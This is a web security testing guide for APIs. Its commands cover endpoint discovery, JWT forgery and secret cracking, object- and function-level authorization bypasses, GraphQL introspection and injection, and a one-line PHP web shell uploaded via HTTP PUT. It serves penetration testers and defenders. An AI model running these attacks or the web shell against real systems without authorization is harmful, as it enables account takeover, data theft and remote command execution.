Skip to main content

API Testing

WSTG-APIT-01


Understanding Modern API Attack Surfaces​

APIs - particularly REST and GraphQL - have largely replaced traditional server-rendered web pages as the backend for modern web applications. They are often less carefully secured than the UI, because developers assume API endpoints aren't "user-facing." This assumption is wrong.

APIs share all the same vulnerability classes as traditional web apps (injection, auth bypasses, access control failures) with some additional API-specific issues:

  • BOLA (Broken Object Level Authorization) - the API equivalent of IDOR
  • BFLA (Broken Function Level Authorization) - unauthorized access to administrative API functions
  • Mass assignment - APIs accepting fields they shouldn't
  • Excessive data exposure - APIs returning more data than the client uses
  • JWT vulnerabilities - token forgery and algorithm manipulation
  • GraphQL-specific - introspection, nested queries, batching abuse

API Discovery​

You can't test what you can't find. Locate API endpoints before testing them.

# Common API documentation paths
curl -si http://target.com/api/docs
curl -si http://target.com/swagger
curl -si http://target.com/swagger-ui.html
curl -si http://target.com/swagger.json
curl -si http://target.com/openapi.json
curl -si http://target.com/api-docs
curl -si http://target.com/v1/docs
curl -si http://target.com/redoc

# GraphQL endpoint common paths
curl -si http://target.com/graphql
curl -si http://target.com/api/graphql
curl -si http://target.com/query

# Versioned API paths
curl -si http://target.com/api/v1/
curl -si http://target.com/api/v2/
curl -si http://target.com/api/v3/

# Directory brute force with API-specific wordlists
ffuf -u http://target.com/api/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-mc 200,201,204,301,302,400,401,403

# Mine JS files for API endpoints
curl -s http://target.com/static/app.js | \
grep -oP '["'"'"'][/]api[a-zA-Z0-9/._-]+["'"'"']' | sort -u

If Swagger/OpenAPI documentation is exposed, it's a complete map of the API - every endpoint, method, parameter, and data type. Download it and review it completely before testing.

# Download and review the spec
curl -s http://target.com/openapi.json | python3 -m json.tool | less

# Extract all endpoint paths
curl -s http://target.com/swagger.json | python3 -c "
import json,sys
spec = json.load(sys.stdin)
for path in spec.get('paths', {}):
for method in spec['paths'][path]:
print(method.upper(), path)
"

HTTP Method Testing​

APIs commonly restrict methods at the UI/documentation level, but the underlying handlers often process any method sent to them.

# Discover allowed methods
curl -si -X OPTIONS http://target.com/api/users \
-H "Cookie: session=SESSION"

# Try each method on a resource
for method in GET POST PUT PATCH DELETE HEAD TRACE; do
echo -n "$method: "
curl -si -X $method http://target.com/api/resource/1 \
-H "Cookie: session=SESSION" | head -1
done

# TRACE - if allowed, reveals proxied headers (potential XST attack)
curl -si -X TRACE http://target.com/

# PUT - if allowed on web directories, may allow file upload
curl -si -X PUT http://target.com/uploads/shell.php \
-d '<?php system($_GET["cmd"]); ?>'

Authentication Testing​

Test missing/invalid token​

# No token at all
curl -si http://target.com/api/users

# Empty Authorization header
curl -si http://target.com/api/users -H "Authorization: "

# Invalid Bearer token
curl -si http://target.com/api/users -H "Authorization: Bearer invalidtoken"

# Token for one environment used in another (staging token against production)

JWT Testing​

See Session Management section for JWT basics. API-specific JWT attacks:

# Decode JWT
jwt_tool <TOKEN>

# Test algorithm confusion: none algorithm (remove signature validation)
jwt_tool <TOKEN> -X a

# Change claims and re-sign with same algorithm (requires weak/known secret)
# e.g., change "role":"user" to "role":"admin"
jwt_tool <TOKEN> -T # Interactive tamper

# Brute force HS256 secret
jwt_tool <TOKEN> -C -d /usr/share/wordlists/rockyou.txt

# RS256 to HS256 confusion - sign with server's public key as HMAC secret
# (download the public key first - often at /jwks.json, /.well-known/jwks.json)
curl -si http://target.com/.well-known/jwks.json
jwt_tool <TOKEN> -X k -pk server_public.pem

# kid (key ID) injection - if kid is used in a file path or SQL query
# Try path traversal in kid: {"kid": "../../dev/null"}
jwt_tool <TOKEN> -T # Set kid to ../../dev/null, sign with empty string

API Key Testing​

# Look for API keys in responses, JS files, headers
curl -s http://target.com/ | grep -iE "(api.key|apikey|x-api-key|token)"

# Test API key scopes - does a read-only key work for write operations?
curl -si -X POST http://target.com/api/resource \
-H "X-API-Key: READ_ONLY_KEY" \
-d '{"name":"test"}'

BOLA - Broken Object Level Authorization​

The REST API equivalent of IDOR. An API endpoint returns or modifies an object based on an ID in the URL or request body, without verifying the requesting user is authorized for that specific object.

# Authenticated as user A (ID 1042) - session=SESSION_A
# Attempt to access user B's resource (ID 1041)

# Access another user's profile
curl -si "http://target.com/api/v1/users/1041" \
-H "Authorization: Bearer TOKEN_A"

# Access another user's orders
curl -si "http://target.com/api/v1/users/1041/orders" \
-H "Authorization: Bearer TOKEN_A"

# Enumerate a range
for uid in $(seq 1035 1050); do
code=$(curl -so /dev/null -w "%{http_code}" \
"http://target.com/api/v1/users/$uid/data" \
-H "Authorization: Bearer TOKEN_A")
echo "User $uid: HTTP $code"
done

# Test with GUIDs - compute or brute force
# If format is predictable: /api/orders/ORD-00001 through ORD-99999
for i in $(seq 1 100); do
curl -si "http://target.com/api/orders/ORD-$(printf '%05d' $i)" \
-H "Authorization: Bearer TOKEN_A" | head -1
done

BFLA - Broken Function Level Authorization​

A regular user can call API functions (create/delete/modify) that should only be available to admins.

# Test admin endpoints with regular user token
curl -si "http://target.com/api/admin/users" \
-H "Authorization: Bearer REGULAR_USER_TOKEN"

curl -si -X DELETE "http://target.com/api/admin/users/1041" \
-H "Authorization: Bearer REGULAR_USER_TOKEN"

curl -si "http://target.com/api/internal/export-all" \
-H "Authorization: Bearer REGULAR_USER_TOKEN"

# Test admin actions via regular endpoints
curl -si -X POST "http://target.com/api/users/1041/ban" \
-H "Authorization: Bearer REGULAR_USER_TOKEN"

# Look for admin-specific parameters in regular endpoints
curl -si -X PATCH "http://target.com/api/users/me" \
-H "Authorization: Bearer REGULAR_USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"Test","role":"admin","verified":true}'

GraphQL Testing​

GraphQL uses a single endpoint that accepts query/mutation documents. The attack surface is different from REST.

Introspection - Discover the full schema​

# Enable introspection query - returns all types, fields, queries, mutations
curl -si -X POST http://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { types { name fields { name } } } }"}'

# Get all queries and mutations
curl -si -X POST http://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { queryType { fields { name description } } mutationType { fields { name description } } } }"}'

If introspection is enabled, you have the complete API documentation. Use it to map all available operations.

Test for BOLA in GraphQL​

# Fetch another user's data by ID
curl -si -X POST http://target.com/graphql \
-H "Content-Type: application/json" \
-H "Authorization: Bearer TOKEN_A" \
-d '{"query": "{ user(id: 1041) { id email phone address } }"}'

# Enumerate users
for uid in $(seq 1 20); do
curl -si -X POST http://target.com/graphql \
-H "Content-Type: application/json" \
-H "Authorization: Bearer TOKEN_A" \
-d "{\"query\": \"{ user(id: $uid) { id email } }\"}" | grep -o '"email":"[^"]*"'
done

Test for injection in GraphQL arguments​

# SQLi in argument
curl -si -X POST http://target.com/graphql \
-H "Content-Type: application/json" \
-H "Authorization: Bearer TOKEN_A" \
-d '{"query": "{ user(name: \"admin'\\''--\") { id email } }"}'

# Batch query abuse - send many queries in one request (resource exhaustion or auth bypass)
curl -si -X POST http://target.com/graphql \
-H "Content-Type: application/json" \
-H "Authorization: Bearer TOKEN_A" \
-d '[
{"query": "{ user(id: 1) { email } }"},
{"query": "{ user(id: 2) { email } }"},
{"query": "{ user(id: 3) { email } }"}
]'

Test mutations​

# Attempt privilege escalation via mutation
curl -si -X POST http://target.com/graphql \
-H "Content-Type: application/json" \
-H "Authorization: Bearer TOKEN_A" \
-d '{"query": "mutation { updateUser(id: 1042, role: \"admin\") { id role } }"}'

# Modify another user via mutation (BOLA)
curl -si -X POST http://target.com/graphql \
-H "Content-Type: application/json" \
-H "Authorization: Bearer TOKEN_A" \
-d '{"query": "mutation { deleteUser(id: 1041) { success } }"}'

API Testing Quick Reference​

TestCommand/Approach
Discover API docsCheck /swagger, /openapi.json, /api/docs, JS source mining
Test unauthenticated accessRemove Authorization header entirely
BOLA enumerationSwap object IDs between accounts, enumerate sequential IDs
BFLA testingUse regular token on admin endpoints
JWT alg:nonejwt_tool <token> -X a
JWT secret brute forcejwt_tool <token> -C -d rockyou.txt
GraphQL schema dumpSend __schema introspection query
HTTP method testingLoop OPTIONS, GET, POST, PUT, DELETE, PATCH against endpoints
Mass assignmentInclude unexpected privilege fields in PUT/POST body
Excessive data exposureCompare what the API returns vs. what the UI displays